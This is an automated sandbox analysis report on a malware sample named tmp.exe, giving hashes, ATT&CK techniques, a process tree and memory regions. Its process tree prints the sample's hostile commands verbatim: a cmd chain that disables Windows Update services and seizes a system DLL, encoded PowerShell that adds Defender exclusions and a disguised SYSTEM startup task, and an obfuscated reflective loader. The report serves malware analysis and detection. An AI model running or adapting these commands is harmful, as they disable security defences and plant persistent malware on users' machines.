65970760831f083ce65c5ec185f5c1d1c73217bcf600de567f2960b592412c52

General

Target

tmp.exe
Size

4.5MB
MD5

b7c12ce33a5c2de80bcd7083d839df6e
SHA1

6d2bce616fc00cafeb2ae4c5499305b36fcfb4f1
SHA256

65970760831f083ce65c5ec185f5c1d1c73217bcf600de567f2960b592412c52
SHA512

b3cbb1c781217aee343352f5ef2668fec9aa70a3f8ed39eafef88815bc4b5a858965d4ea9d30f86e04cdff4d22bef4447333027a56fbc02fc9708203e9987225
SSDEEP

98304:Ha3DFNglg7shj9/X92ZmvG+Hc7supSg8MXGBl3Qbf2jYpvRhzPQA:q23V9/X9pvL+sWKMXGwDEYVx

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

4616 takeown.exe
216 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

tmp.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation tmp.exe
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

4616 takeown.exe
216 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

tmp.exe

description pid process target process

PID 3844 set thread context of 1304 3844 tmp.exe conhost.exe

pid	process
4616	takeown.exe
216	icacls.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	tmp.exe

pid	process
4616	takeown.exe
216	icacls.exe

flow	ioc
2	ip-api.com

description	pid	process	target process
PID 3844 set thread context of 1304	3844	tmp.exe	conhost.exe

Drops file in Windows directory 4 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

2160 sc.exe
3212 sc.exe
1908 sc.exe
4008 sc.exe
3988 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

2988 reg.exe
3936 reg.exe
4716 reg.exe
4404 reg.exe
4152 reg.exe
5068 reg.exe
3548 reg.exe
1284 reg.exe
1740 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exetmp.exepowershell.exe

pid process

3388 powershell.exe
3388 powershell.exe
3844 tmp.exe
4952 powershell.exe

pid	process
2160	sc.exe
3212	sc.exe
1908	sc.exe
4008	sc.exe
3988	sc.exe

pid	process
2988	reg.exe
3936	reg.exe
4716	reg.exe
4404	reg.exe
4152	reg.exe
5068	reg.exe
3548	reg.exe
1284	reg.exe
1740	reg.exe

pid	process
3388	powershell.exe
3388	powershell.exe
3844	tmp.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exetmp.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	3844	tmp.exe
Token: SeShutdownPrivilege	4112	powercfg.exe
Token: SeCreatePagefilePrivilege	4112	powercfg.exe
Token: SeShutdownPrivilege	2116	powercfg.exe
Token: SeCreatePagefilePrivilege	2116	powercfg.exe
Token: SeShutdownPrivilege	3756	powercfg.exe
Token: SeCreatePagefilePrivilege	3756	powercfg.exe
Token: SeShutdownPrivilege	1996	powercfg.exe
Token: SeCreatePagefilePrivilege	1996	powercfg.exe
Token: SeTakeOwnershipPrivilege	4616	takeown.exe
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.execmd.exe

description	pid	process	target process
PID 3844 wrote to memory of 3388	3844	tmp.exe	powershell.exe
PID 3844 wrote to memory of 3388	3844	tmp.exe	powershell.exe
PID 3844 wrote to memory of 2228	3844	tmp.exe	cmd.exe
PID 3844 wrote to memory of 2228	3844	tmp.exe	cmd.exe
PID 3844 wrote to memory of 2800	3844	tmp.exe	cmd.exe
PID 3844 wrote to memory of 2800	3844	tmp.exe	cmd.exe
PID 2228 wrote to memory of 2160	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 2160	2228	cmd.exe	sc.exe
PID 2800 wrote to memory of 4112	2800	cmd.exe	powercfg.exe
PID 2800 wrote to memory of 4112	2800	cmd.exe	powercfg.exe
PID 2228 wrote to memory of 3212	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 3212	2228	cmd.exe	sc.exe
PID 2800 wrote to memory of 2116	2800	cmd.exe	powercfg.exe
PID 2800 wrote to memory of 2116	2800	cmd.exe	powercfg.exe
PID 2228 wrote to memory of 1908	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 1908	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 4008	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 4008	2228	cmd.exe	sc.exe
PID 2800 wrote to memory of 3756	2800	cmd.exe	powercfg.exe
PID 2800 wrote to memory of 3756	2800	cmd.exe	powercfg.exe
PID 2228 wrote to memory of 3988	2228	cmd.exe	sc.exe
PID 2228 wrote to memory of 3988	2228	cmd.exe	sc.exe
PID 2800 wrote to memory of 1996	2800	cmd.exe	powercfg.exe
PID 2800 wrote to memory of 1996	2800	cmd.exe	powercfg.exe
PID 2228 wrote to memory of 3936	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 3936	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4716	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4716	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4404	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4404	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 5068	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 5068	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4152	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4152	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 4616	2228	cmd.exe	takeown.exe
PID 2228 wrote to memory of 4616	2228	cmd.exe	takeown.exe
PID 2228 wrote to memory of 216	2228	cmd.exe	icacls.exe
PID 2228 wrote to memory of 216	2228	cmd.exe	icacls.exe
PID 2228 wrote to memory of 3548	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 3548	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 1284	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 1284	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 1740	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 1740	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 2988	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 2988	2228	cmd.exe	reg.exe
PID 2228 wrote to memory of 1172	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 1172	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 1840	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 1840	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 2420	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 2420	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 2404	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 2404	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 4868	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 4868	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 4432	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 4432	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 3040	2228	cmd.exe	schtasks.exe
PID 2228 wrote to memory of 3040	2228	cmd.exe	schtasks.exe
PID 3844 wrote to memory of 1304	3844	tmp.exe	conhost.exe
PID 3844 wrote to memory of 1304	3844	tmp.exe	conhost.exe
PID 3844 wrote to memory of 1304	3844	tmp.exe	conhost.exe
PID 3844 wrote to memory of 1304	3844	tmp.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAYgByAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBtAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwB4AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHcAdwAjAD4A"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3388

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2160

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3212

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1908

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4008

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3988

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:3936

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:4716

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:4404

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:5068

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:4152

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4616

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:216

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3548

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1284

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1740

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2988

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1172

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1840

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:2420

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:2404

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:4868

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:4432

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:3040

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:2800

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4112

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2116

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3756

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAbQB5AHcAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBVAEEAYwB3AEIAcwBBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBBAGcAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEAYwB3AEIAYwBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEARgB3AEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBYAEEAQgAxAEEASABBAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAMABBAFYAZwBCAGwAQQBIAEkAQQBZAGcAQQBnAEEARgBJAEEAZABRAEIAdQBBAEUARQBBAGMAdwBBAGcAQQBEAHcAQQBJAHcAQgB4AEEARwBVAEEASQB3AEEAKwBBAEEAPQA9ACIAJwApACAAPAAjAGYAcgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAGMAawBrACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAeAB4ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAdgB2AGUAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB0AG0AcAAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGkAeQBiAHoAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAGgAYwBiAHgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4768

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:2060

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6c518598-23a0-455c-a0f3-878b0a2f6618}
1⤵
PID:4188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAGUAcwBsACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgADwAIwBxAGUAIwA+AA=="
1⤵
PID:4456

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Service Stop

1

T1489

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
memory/216-156-0x0000000000000000-mapping.dmp

Download
memory/608-200-0x00007FFA31DD0000-0x00007FFA31DE0000-memory.dmp

Filesize
64KB

Download
memory/664-201-0x00007FFA31DD0000-0x00007FFA31DE0000-memory.dmp

Filesize
64KB

Download
memory/1020-202-0x00007FFA31DD0000-0x00007FFA31DE0000-memory.dmp

Filesize
64KB

Download
memory/1172-162-0x0000000000000000-mapping.dmp

Download
memory/1276-212-0x00007FFA31DD0000-0x00007FFA31DE0000-memory.dmp

Filesize
64KB

Download
memory/1284-159-0x0000000000000000-mapping.dmp

Download
memory/1304-172-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1304-171-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1304-169-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1304-173-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1304-170-0x0000000140001844-mapping.dmp

Download
memory/1304-174-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1484-216-0x00007FFA31DD0000-0x00007FFA31DE0000-memory.dmp

Filesize
64KB

Download
memory/1740-160-0x0000000000000000-mapping.dmp

Download
memory/1840-163-0x0000000000000000-mapping.dmp

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memory/1908-145-0x0000000000000000-mapping.dmp

Download
memory/1996-149-0x0000000000000000-mapping.dmp

Download
memory/2060-177-0x0000000003E30000-0x0000000003E66000-memory.dmp

Filesize
216KB

Download
memory/2060-181-0x0000000004410000-0x0000000004432000-memory.dmp

Filesize
136KB

Download
memory/2060-196-0x00000000053C0000-0x00000000053DE000-memory.dmp

Filesize
120KB

Download
memory/2060-184-0x0000000004D70000-0x0000000004DD6000-memory.dmp

Filesize
408KB

Download
memory/2060-182-0x0000000004D00000-0x0000000004D66000-memory.dmp

Filesize
408KB

Download
memory/2060-180-0x00000000044A0000-0x0000000004AC8000-memory.dmp

Filesize
6.2MB

Download
memory/2116-144-0x0000000000000000-mapping.dmp

Download
memory/2160-141-0x0000000000000000-mapping.dmp

Download
memory/2228-138-0x0000000000000000-mapping.dmp

Download
memory/2404-165-0x0000000000000000-mapping.dmp

Download
memory/2420-164-0x0000000000000000-mapping.dmp

Download
memory/2800-139-0x0000000000000000-mapping.dmp

Download
memory/2988-161-0x0000000000000000-mapping.dmp

Download
memory/3040-168-0x0000000000000000-mapping.dmp

Download
memory/3212-143-0x0000000000000000-mapping.dmp

Download
memory/3388-136-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmp

Filesize
10.8MB

Download
memory/3388-137-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmp

Filesize
10.8MB

Download
memory/3388-135-0x00000145E99A0000-0x00000145E99C2000-memory.dmp

Filesize
136KB

Download
memory/3388-134-0x0000000000000000-mapping.dmp

Download
memory/3548-157-0x0000000000000000-mapping.dmp

Download
memory/3756-147-0x0000000000000000-mapping.dmp

Download
memory/3844-132-0x0000000000F70000-0x00000000013F6000-memory.dmp

Filesize
4.5MB

Download
memory/3844-199-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmp

Filesize
10.8MB

Download
memory/3844-140-0x000000001CE80000-0x000000001CE92000-memory.dmp

Filesize
72KB

Download
memory/3844-158-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmp

Filesize
10.8MB

Download
memory/3844-133-0x00007FFA541B0000-0x00007FFA54C71000-memory.dmp

Filesize
10.8MB

Download
memory/3936-150-0x0000000000000000-mapping.dmp

Download
memory/3988-148-0x0000000000000000-mapping.dmp

Download
memory/4008-146-0x0000000000000000-mapping.dmp

Download
memory/4112-142-0x0000000000000000-mapping.dmp

Download
memory/4152-154-0x0000000000000000-mapping.dmp

Download
